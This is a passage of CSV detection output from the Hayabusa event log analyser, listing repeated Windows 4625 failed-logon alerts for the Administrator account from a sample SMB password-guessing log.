NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.753 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GLuIx0sfF8NQD8QY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.800 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y3lMvcrrmGTkjdlh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.854 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2ZqOabcNMeazs6TC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.908 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j2AbE9D8PvuFDBz5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.966 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wzWdLEEc68ZvviGh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.030 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AtV3BuZiljbAeikO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tnKKfcwikNDdYOam : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.125 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jSbbzD7fpJY4Q1JL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.175 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gOASpLLE25ruCnGW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.232 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1jhUGOtszbPUwccL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.271 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yB8Mzo1RppdpLFKS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.312 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rOwoUlHGVeSbAhuN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BXIEHbkrjwedeaih : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.401 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OvsKoixgEzUgAyie : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.504 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TzaZe6Y4Tdfjseuk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.555 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FEmbuU3CAC3CecZy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.597 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kfBmqmVPd0CGVUsD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1Uz3TlU6yrcveM1w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z6hH6AkkgBFmeZ6u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.721 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J2J1W2WhA6Pj7j5j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.769 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: soHOxnkoOn7ot0My : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4c2oWI6mRIvSVSKq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FKsXD8aTyaC4fBqq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.906 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qrzji5ucmutsZNpo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.952 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BApOU105FCLwj4zn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.996 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EO50f7NfrrdwwCNA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PfTYbWC8IjW87th8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.069 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wLnE6zm5US4maK04 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.112 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5AV7taC7hYQdVjAj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.153 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8MnnaSRs0bnYVlMX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.198 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YgqavZ1SuNvX7RgH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.247 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IQvoIsfW0LhDit2Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 33IPGQXc1MarY30J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.353 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: II4Ly9LnkWlq60Ux : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.401 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wncfJC7kDSI7O9Ud : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.444 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6XzbWef3PuzQK3FJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5M5670HdNC6c8O56 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.521 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ea8FcddgLyV5o6oL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.573 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LjyhmKFdBNrHIvTJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.620 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PIF47pEWBMp6Nbym : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.661 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6TO891WvJPkdjsct : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6cLnJYpHEzGAvhWG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.749 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gy6cFTrwrpRQFxfQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gxz612Z88PMCKzAk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.842 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GSPC8hibdZdyOcex : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.893 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6vlmykLeFmuhn81B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.933 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4w4lEW9w53zMFPcc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.970 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jt2lDRFWwi6adwlB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.021 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: G9MGvle35u5OGB5o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.065 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TJgLFM2vrnKuj5N3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.106 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: l8HRyDAzwKj9bfnA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.144 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J65LcwnRgEob9wjY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yhas9e1fwDZ1Fxvt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.225 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p5qJRSpjS6tZJjNQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.268 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bo4HAgP2tw0GmZ4o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.308 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Zv0cbLCD7E05i0g5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.349 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FIKsQLk5iPyKoeqM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.394 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RiHAaBszJBGe2deQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.442 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F8em4eOiqze683Cj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.481 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 86lXQsnn7dae93tW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Iu8olNGPmhxh6iNu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.564 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qZYtN5EMHxcNqID6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.610 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mtUQGxrMoPkpUQCS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QYh4e3bpePhDoRwr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UkC8E9uKpCgD1BHY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.814 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5ZCDxpmDZbpGCey3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SS2dxS3WvCrAyiB2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.897 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YT3VHxKNf8q14rro : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.940 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fx9HQT3u3Ig6vJ3t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.989 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FukPQsr4SXRshyTn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7AutKUyPELNRUcA4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 38gBkWcYdZW6Wcdz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.121 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HMKnLRQCDn1CHZdH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.165 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ShGnRYHfVSuPvfcX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.221 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LXVWG3Yl0utv98Zf : IP Address: 192.168.198.149 : AuthPackage: 